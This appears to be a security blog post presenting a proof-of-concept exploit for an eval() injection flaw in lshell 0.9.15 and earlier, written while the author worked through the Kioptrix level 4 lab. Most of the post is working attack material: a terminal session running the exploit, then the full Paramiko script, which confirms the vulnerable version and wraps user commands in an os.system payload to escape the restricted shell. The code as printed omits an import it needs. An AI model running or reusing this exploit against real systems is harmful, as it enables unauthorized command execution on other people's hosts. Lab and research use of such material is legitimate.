forelsec

Lshell 0.9.15 Pathing Vulnerability

While working through Kioptrix level 4, I stumbled into lshell, a limited shell environment developed in Python. I don’t want to walk through the vulnerability again, but at a high level versions <= 0.9.15 are vulnerable to an unsanitized eval() call with user supplied input. I couldn’t find a working PoC, so I wrote one.

This will verify the install and spawn a pseudo-shell for running commands on the remote host. While it may be more beneficial to just log in and run the exploit to spawn /bin/bash, this is a nice hacky way to quickly enumerate and tool around on the back end:

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root@bt:~/kioptrix_l4# python lshell_remote.py john ****** 192.168.1.39
[!] .............................
[!] lshell <= 0.9.15 remote shell.
[!] note: you can also ssh in and execute '/bin/bash'
[!] .............................
[!] Checking host 192.168.1.39...
[+] vulnerable lshell found, preparing pseudo-shell...
$ id
uid=1001(john) gid=1001(john) groups=115(admin),1001(john)
$ ls -l
total 48
-rwxr-xr-x 1 john john  1544 2009-01-20 19:51 install.sh
-rw-r--r-- 1 john john  7715 2009-01-20 19:06 lib_mysqludf_sys.c
-rw-r--r-- 1 john john  9934 2009-01-21 19:42 lib_mysqludf_sys.html
-rwxr-xr-x 1 john john 12896 2009-01-19 04:11 lib_mysqludf_sys.so
-rw-r--r-- 1 john john  1647 2009-01-21 19:43 lib_mysqludf_sys.sql
-rw-r--r-- 1 john john   122 2009-01-19 04:11 Makefile
$ ls -l | grep 'Makefile'
-rw-r--r-- 1 john john   122 2009-01-19 04:11 Makefile
$ exit
root@bt:~/kioptrix_l4#

You can run pretty much everything except for binary files; this is because of the shell environment changing. I wasn’t able to figure out a clean way to attach a TTY to the stdin/stdout/stderr, so if anyone knows of a way to do this with Paramiko, drop me a message. I’ll take any bug reports as well. This requires Paramiko libraries to be installed; tested with Python 2.7.x.

Pastebin link for download and code:

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import paramiko
import traceback
from time import sleep

#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#

if len(sys.argv) < 4:
    print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
    sys.exit(1)

try:
    print '[!] .............................'
    print '[!] lshell <= 0.9.15 remote shell.'
    print '[!] note: you can also ssh in and execute \'/bin/bash\''
    print '[!] .............................'
    print '[!] Checking host %s...'%(sys.argv[3])
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])


    # verify lshell 
    channel = ssh.invoke_shell()
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    channel.send('help help\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)

    if not 'lshell' in ret:
        if 'forbidden' in ret:
            print '[-] Looks like we can\'t execute SSH commands'
        else:
            print '[-] Environment is not lshell'
        sys.exit(1)

    # verify vulnerable version
    channel.send('sudo\n')
    while not channel.recv_ready(): sleep(1)
    ret = channel.recv(2048)
    if not 'Traceback' in ret:
        print '[-] lshell version not vulnerable.'
        sys.exit(1)
    channel.close()
    ssh.close()

    # exec shell
    print '[+] vulnerable lshell found, preparing pseudo-shell...'
    if len(sys.argv) == 5:
        ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
    else:
        ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])

    while True:
        cmd = raw_input('$ ')

        # breaks paramiko
        if cmd[0] is '/':
            print '[!] Running binaries won\'t work!'
            continue

        cmd = cmd.replace("'", r"\'")
        cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
        if len(cmd) > 1:
            if 'quit' in cmd or 'exit' in cmd:
                break
            (stdin,stdout,stderr) = ssh.exec_command(cmd)
        out = stdout.read()
        print out.strip()
except paramiko.AuthenticationException:
    print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
    print '[-] Error: ', e
    print type(e)
    traceback.print_exc(file=sys.stdout)
finally:
    channel.close()
    ssh.close()